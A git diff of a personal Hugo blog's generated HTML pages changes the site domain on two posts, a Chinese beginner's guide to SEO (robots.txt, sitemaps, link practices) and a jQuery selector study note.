/admin\ndescription（描述）\nkeywords（关键词）\nSitemap（通知搜索引擎，该网站有哪些可以供爬取的，常见的有xml，html）\nHTML标签优化\n语义化标签，例如header，nav，footer\n内部连接优化\n尽量不要使用JavaScript来设置链接，应该使用简单的a href\n友情链接\n友情链接就是在自己网站上放其他网站的链接，友情链接实质上并不能带来多少访问量，而且是用来增强搜索引擎的收录量爬取量\n注意：请不要在友情链接上加rel=\u0026ldquo;nofollow\u0026rdquo;，该属性会告诉搜索引擎爬虫不用抓取目标页，那么这个友情链接就是废了\n而且不要乱加友情链接，应该选择高质量，而且内容相似，更新频率高，而且还要有一定的访问量\n注意：如果没有必要就不要单向链接，爬虫跑过去，就不会回来了，一直到找到你的链接，通过该链接回来，所以没有必要不要单向链接\n尽量避免使用iframe标签，搜索引擎不会抓取iframe标签的内容\n重要信息请勿使用js输出，爬虫不会抓取js的内容\n给图片加alt信息，重要信息请放头部，有部分搜索引擎爬虫会限制抓取的长度","keywords":["SEO"],"articleBody":"SEO：搜索引擎优化（Search Engine Optimization），是利用搜索引擎的规则来提升网站在该搜索引擎的排名（免费，高回报）\nrobots.txt就是robots协议，用来告诉网络蜘蛛，这个网站什么内容是不应该获取的，那些内容可以获取，例如：淘宝就屏蔽了百度的爬虫\nrobots.txt文件应该放在网站根目录下\n允许指定蜘蛛获取，*为通配符\nUser-agent: *\n允许指定目录可以被获取\nAllow: /\n指定Sitemap文件在哪\nSitemap: sitemap.xml\n不允许指定目录被获取（注意该方法会模糊匹配，例如/adminxxx，也是会被屏蔽）\nDisallow: /admin\ndescription（描述）\nkeywords（关键词）\nSitemap（通知搜索引擎，该网站有哪些可以供爬取的，常见的有xml，html）\nHTML标签优化\n语义化标签，例如header，nav，footer\n内部连接优化\n尽量不要使用JavaScript来设置链接，应该使用简单的a href\n友情链接\n友情链接就是在自己网站上放其他网站的链接，友情链接实质上并不能带来多少访问量，而且是用来增强搜索引擎的收录量爬取量\n注意：请不要在友情链接上加rel=“nofollow”，该属性会告诉搜索引擎爬虫不用抓取目标页，那么这个友情链接就是废了\n而且不要乱加友情链接，应该选择高质量，而且内容相似，更新频率高，而且还要有一定的访问量\n注意：如果没有必要就不要单向链接，爬虫跑过去，就不会回来了，一直到找到你的链接，通过该链接回来，所以没有必要不要单向链接\n尽量避免使用iframe标签，搜索引擎不会抓取iframe标签的内容\n重要信息请勿使用js输出，爬虫不会抓取js的内容\n给图片加alt信息，重要信息请放头部，有部分搜索引擎爬虫会限制抓取的长度\n","wordCount":"33","inLanguage":"en","datePublished":"2021-03-20T11:50:00Z","dateModified":"2021-03-20T11:50:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/2/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>简单了解SEO</h1><div class=post-meta><span title='2021-03-20 11:50:00 +0000 UTC'>2021-03-20</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/%e7%ae%80%e5%8d%95%e4%ba%86%e8%a7%a3SEO.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>SEO：搜索引擎优化（Search Engine Optimization），是利用搜索引擎的规则来提升网站在该搜索引擎的排名（免费，高回报）</p><hr><p>robots.txt就是robots协议，用来告诉网络蜘蛛，这个网站什么内容是不应该获取的，那些内容可以获取，例如：淘宝就屏蔽了百度的爬虫</p><p>robots.txt文件应该放在网站根目录下</p><p>允许指定蜘蛛获取，*为通配符</p><p>User-agent: *</p><p>允许指定目录可以被获取</p><p>Allow: /</p><p>指定Sitemap文件在哪</p><p>Sitemap: sitemap.xml</p><p>不允许指定目录被获取（注意该方法会模糊匹配，例如/adminxxx，也是会被屏蔽）</p><p>Disallow: /admin</p><hr><p>description（描述）</p><hr><p>keywords（关键词）</p><hr><p>Sitemap（通知搜索引擎，该网站有哪些可以供爬取的，常见的有xml，html）</p><hr><p>HTML标签优化</p><p>语义化标签，例如header，nav，footer</p><hr><p>内部连接优化</p><p>尽量不要使用JavaScript来设置链接，应该使用简单的a href</p><hr><p>友情链接</p><p>友情链接就是在自己网站上放其他网站的链接，友情链接实质上并不能带来多少访问量，而且是用来增强搜索引擎的收录量爬取量</p><p>注意：请不要在友情链接上加rel=&ldquo;nofollow&rdquo;，该属性会告诉搜索引擎爬虫不用抓取目标页，那么这个友情链接就是废了</p><p>而且不要乱加友情链接，应该选择高质量，而且内容相似，更新频率高，而且还要有一定的访问量</p><p>注意：如果没有必要就不要单向链接，爬虫跑过去，就不会回来了，一直到找到你的链接，通过该链接回来，所以没有必要不要单向链接</p><hr><p>尽量避免使用iframe标签，搜索引擎不会抓取iframe标签的内容</p><p>重要信息请勿使用js输出，爬虫不会抓取js的内容</p><p>给图片加alt信息，重要信息请放头部，有部分搜索引擎爬虫会限制抓取的长度</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/seo/>SEO</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/3/><span class=title>« Prev</span><br><span>简单使用Vim编辑器</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/axios%E7%BD%91%E7%BB%9C%E8%AF%B7%E6%B1%82%E5%BA%93%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/><span class=title>Next »</span><br><span></span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+给图片加alt信息，重要信息请放头部，有部分搜索引擎爬虫会限制抓取的长度"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单了解SEO","item":"https://chenjunlinabc.github.io/posts/2/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单了解SEO","name":"简单了解SEO","description":"SEO：搜索引擎优化（Search Engine Optimization），是利用搜索引擎的规则来提升网站在该搜索引擎的排名（免费，高回报）\nrobots.txt就是robots协议，用来告诉网络蜘蛛，这个网站什么内容是不应该获取的，那些内容可以获取，例如：淘宝就屏蔽了百度的爬虫\nrobots.txt文件应该放在网站根目录下\n允许指定蜘蛛获取，*为通配符\nUser-agent: *\n允许指定目录可以被获取\nAllow: /\n指定Sitemap文件在哪\nSitemap: sitemap.xml\n不允许指定目录被获取（注意该方法会模糊匹配，例如/adminxxx，也是会被屏蔽）\nDisallow: /admin\ndescription（描述）\nkeywords（关键词）\nSitemap（通知搜索引擎，该网站有哪些可以供爬取的，常见的有xml，html）\nHTML标签优化\n语义化标签，例如header，nav，footer\n内部连接优化\n尽量不要使用JavaScript来设置链接，应该使用简单的a href\n友情链接\n友情链接就是在自己网站上放其他网站的链接，友情链接实质上并不能带来多少访问量，而且是用来增强搜索引擎的收录量爬取量\n注意：请不要在友情链接上加rel=\u0026ldquo;nofollow\u0026rdquo;，该属性会告诉搜索引擎爬虫不用抓取目标页，那么这个友情链接就是废了\n而且不要乱加友情链接，应该选择高质量，而且内容相似，更新频率高，而且还要有一定的访问量\n注意：如果没有必要就不要单向链接，爬虫跑过去，就不会回来了，一直到找到你的链接，通过该链接回来，所以没有必要不要单向链接\n尽量避免使用iframe标签，搜索引擎不会抓取iframe标签的内容\n重要信息请勿使用js输出，爬虫不会抓取js的内容\n给图片加alt信息，重要信息请放头部，有部分搜索引擎爬虫会限制抓取的长度","keywords":["SEO"],"articleBody":"SEO：搜索引擎优化（Search Engine Optimization），是利用搜索引擎的规则来提升网站在该搜索引擎的排名（免费，高回报）\nrobots.txt就是robots协议，用来告诉网络蜘蛛，这个网站什么内容是不应该获取的，那些内容可以获取，例如：淘宝就屏蔽了百度的爬虫\nrobots.txt文件应该放在网站根目录下\n允许指定蜘蛛获取，*为通配符\nUser-agent: *\n允许指定目录可以被获取\nAllow: /\n指定Sitemap文件在哪\nSitemap: sitemap.xml\n不允许指定目录被获取（注意该方法会模糊匹配，例如/adminxxx，也是会被屏蔽）\nDisallow: /admin\ndescription（描述）\nkeywords（关键词）\nSitemap（通知搜索引擎，该网站有哪些可以供爬取的，常见的有xml，html）\nHTML标签优化\n语义化标签，例如header，nav，footer\n内部连接优化\n尽量不要使用JavaScript来设置链接，应该使用简单的a href\n友情链接\n友情链接就是在自己网站上放其他网站的链接，友情链接实质上并不能带来多少访问量，而且是用来增强搜索引擎的收录量爬取量\n注意：请不要在友情链接上加rel=“nofollow”，该属性会告诉搜索引擎爬虫不用抓取目标页，那么这个友情链接就是废了\n而且不要乱加友情链接，应该选择高质量，而且内容相似，更新频率高，而且还要有一定的访问量\n注意：如果没有必要就不要单向链接，爬虫跑过去，就不会回来了，一直到找到你的链接，通过该链接回来，所以没有必要不要单向链接\n尽量避免使用iframe标签，搜索引擎不会抓取iframe标签的内容\n重要信息请勿使用js输出，爬虫不会抓取js的内容\n给图片加alt信息，重要信息请放头部，有部分搜索引擎爬虫会限制抓取的长度\n","wordCount":"33","inLanguage":"en","datePublished":"2021-03-20T11:50:00Z","dateModified":"2021-03-20T11:50:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/2/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>简单了解SEO</h1><div class=post-meta><span title='2021-03-20 11:50:00 +0000 UTC'>2021-03-20</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/%e7%ae%80%e5%8d%95%e4%ba%86%e8%a7%a3SEO.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>SEO：搜索引擎优化（Search Engine Optimization），是利用搜索引擎的规则来提升网站在该搜索引擎的排名（免费，高回报）</p><hr><p>robots.txt就是robots协议，用来告诉网络蜘蛛，这个网站什么内容是不应该获取的，那些内容可以获取，例如：淘宝就屏蔽了百度的爬虫</p><p>robots.txt文件应该放在网站根目录下</p><p>允许指定蜘蛛获取，*为通配符</p><p>User-agent: *</p><p>允许指定目录可以被获取</p><p>Allow: /</p><p>指定Sitemap文件在哪</p><p>Sitemap: sitemap.xml</p><p>不允许指定目录被获取（注意该方法会模糊匹配，例如/adminxxx，也是会被屏蔽）</p><p>Disallow: /admin</p><hr><p>description（描述）</p><hr><p>keywords（关键词）</p><hr><p>Sitemap（通知搜索引擎，该网站有哪些可以供爬取的，常见的有xml，html）</p><hr><p>HTML标签优化</p><p>语义化标签，例如header，nav，footer</p><hr><p>内部连接优化</p><p>尽量不要使用JavaScript来设置链接，应该使用简单的a href</p><hr><p>友情链接</p><p>友情链接就是在自己网站上放其他网站的链接，友情链接实质上并不能带来多少访问量，而且是用来增强搜索引擎的收录量爬取量</p><p>注意：请不要在友情链接上加rel=&ldquo;nofollow&rdquo;，该属性会告诉搜索引擎爬虫不用抓取目标页，那么这个友情链接就是废了</p><p>而且不要乱加友情链接，应该选择高质量，而且内容相似，更新频率高，而且还要有一定的访问量</p><p>注意：如果没有必要就不要单向链接，爬虫跑过去，就不会回来了，一直到找到你的链接，通过该链接回来，所以没有必要不要单向链接</p><hr><p>尽量避免使用iframe标签，搜索引擎不会抓取iframe标签的内容</p><p>重要信息请勿使用js输出，爬虫不会抓取js的内容</p><p>给图片加alt信息，重要信息请放头部，有部分搜索引擎爬虫会限制抓取的长度</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/seo/>SEO</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/3/><span class=title>« Prev</span><br><span>简单使用Vim编辑器</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/axios%E7%BD%91%E7%BB%9C%E8%AF%B7%E6%B1%82%E5%BA%93%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/><span class=title>Next »</span><br><span></span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/21/index.html b/posts/21/index.html
index a65197c8..0a18c573 100644
--- a/posts/21/index.html
+++ b/posts/21/index.html
@@ -31,8 +31,8 @@
 多项选择器
 $(&ldquo;div[class=divs],a[href=&ldquo;https://xiaochenabc123.test.com&rdquo;)
 多项选择器就是将多个选择器用逗号组合起来
-层级选择器 $(&ldquo;ul.nev li.active&rdquo;)"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/21/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="jQuery基础学习笔记"><meta property="og:description" content="##第一个jQuery程序
+层级选择器 $(&ldquo;ul.nev li.active&rdquo;)"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/21/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="jQuery基础学习笔记"><meta property="og:description" content="##第一个jQuery程序
 $(&lsquo;div&rsquo;).html(&ldquo;hello.world&rdquo;);
 ##DOM对象和jQuery对象互转化
 jQuery对象和DOM对象是不一样的，但是都能操作DOM
@@ -65,7 +65,7 @@
 多项选择器
 $(&ldquo;div[class=divs],a[href=&ldquo;https://xiaochenabc123.test.com&rdquo;)
 多项选择器就是将多个选择器用逗号组合起来
-层级选择器 $(&ldquo;ul.nev li.active&rdquo;)"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/21/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-16T09:38:00+00:00"><meta property="article:modified_time" content="2021-06-16T09:38:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="jQuery基础学习笔记"><meta name=twitter:description content="##第一个jQuery程序
+层级选择器 $(&ldquo;ul.nev li.active&rdquo;)"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/21/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-16T09:38:00+00:00"><meta property="article:modified_time" content="2021-06-16T09:38:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="jQuery基础学习笔记"><meta name=twitter:description content="##第一个jQuery程序
 $(&lsquo;div&rsquo;).html(&ldquo;hello.world&rdquo;);
 ##DOM对象和jQuery对象互转化
 jQuery对象和DOM对象是不一样的，但是都能操作DOM
@@ -98,7 +98,7 @@
 多项选择器
 $(&ldquo;div[class=divs],a[href=&ldquo;https://xiaochenabc123.test.com&rdquo;)
 多项选择器就是将多个选择器用逗号组合起来
-层级选择器 $(&ldquo;ul.nev li.active&rdquo;)"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"jQuery基础学习笔记","item":"https://xiaochenabc123.github.io/posts/21/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"jQuery基础学习笔记","name":"jQuery基础学习笔记","description":"##第一个jQuery程序\n$(\u0026lsquo;div\u0026rsquo;).html(\u0026ldquo;hello.world\u0026rdquo;);\n##DOM对象和jQuery对象互转化\njQuery对象和DOM对象是不一样的，但是都能操作DOM\nget()方法（jquery对象转化为DOM对象）\nvar $main =$(\u0026rsquo;.main\u0026rsquo;); // jquer对象\nvar main = $main.get(0); // 通过get方法，转化成DOM对象\nmain.style.color = \u0026lsquo;#c7edcc\u0026rsquo;; // 操作DOM对象属性\nDOM对象转化为jQuery对象\nvar main = document.getElementsByClassName(\u0026lsquo;main\u0026rsquo;); // DOM对象\nvar $main = $(main); // jQuery对象\n$main.css(\u0026lsquo;color\u0026rsquo;,\u0026rsquo;#c7edcc\u0026rsquo;); // 操作jQuery对象属性\n##jQuery选择器\n元素选择器\n$(\u0026lsquo;div\u0026rsquo;)\nID选择器\n$(\u0026quot;#main\u0026quot;)\nid是唯一性，只能在页面中使用一次\n类选择器\n$(\u0026rsquo;.main\u0026rsquo;)\n全选择器\n$(\u0026rsquo;*\u0026rsquo;)\n层次选择器\n$(\u0026lsquo;div .main\u0026rsquo;)\n属性选择器\n$(\u0026ldquo;a[href=\u0026ldquo;https://xiaochenabc123.test.com\u0026rdquo;]\u0026rdquo;) // 选择带href属性的a元素\n可以使用前缀或者后缀来选择 $(\u0026ldquo;div[name^=\u0026ldquo;yes\u0026rdquo;]\u0026rdquo;) // 选择div标签的neme属性值为yes开头的 $(\u0026ldquo;div[name$=\u0026ldquo;yes\u0026rdquo;]\u0026rdquo;) // 选择div标签的neme属性值为yes结尾的\n组合选择器\n$(\u0026ldquo;div[class=divs]\u0026rdquo;)\n组合选择器其实就是用多个选择器组合起来\n多项选择器\n$(\u0026ldquo;div[class=divs],a[href=\u0026ldquo;https://xiaochenabc123.test.com\u0026rdquo;)\n多项选择器就是将多个选择器用逗号组合起来\n层级选择器 $(\u0026ldquo;ul.nev li.active\u0026rdquo;)","keywords":["jQuery"],"articleBody":"##第一个jQuery程序\n$(‘div’).html(“hello.world”);\n##DOM对象和jQuery对象互转化\njQuery对象和DOM对象是不一样的，但是都能操作DOM\nget()方法（jquery对象转化为DOM对象）\nvar $main =$(’.main’); // jquer对象\nvar main = $main.get(0); // 通过get方法，转化成DOM对象\nmain.style.color = ‘#c7edcc’; // 操作DOM对象属性\nDOM对象转化为jQuery对象\nvar main = document.getElementsByClassName(‘main’); // DOM对象\nvar $main = $(main); // jQuery对象\n$main.css(‘color’,’#c7edcc’); // 操作jQuery对象属性\n##jQuery选择器\n元素选择器\n$(‘div’)\nID选择器\n$(\"#main\")\nid是唯一性，只能在页面中使用一次\n类选择器\n$(’.main’)\n全选择器\n$(’*’)\n层次选择器\n$(‘div .main’)\n属性选择器\n$(“a[href=“https://xiaochenabc123.test.com”]”) // 选择带href属性的a元素\n可以使用前缀或者后缀来选择 $(“div[name^=“yes”]”) // 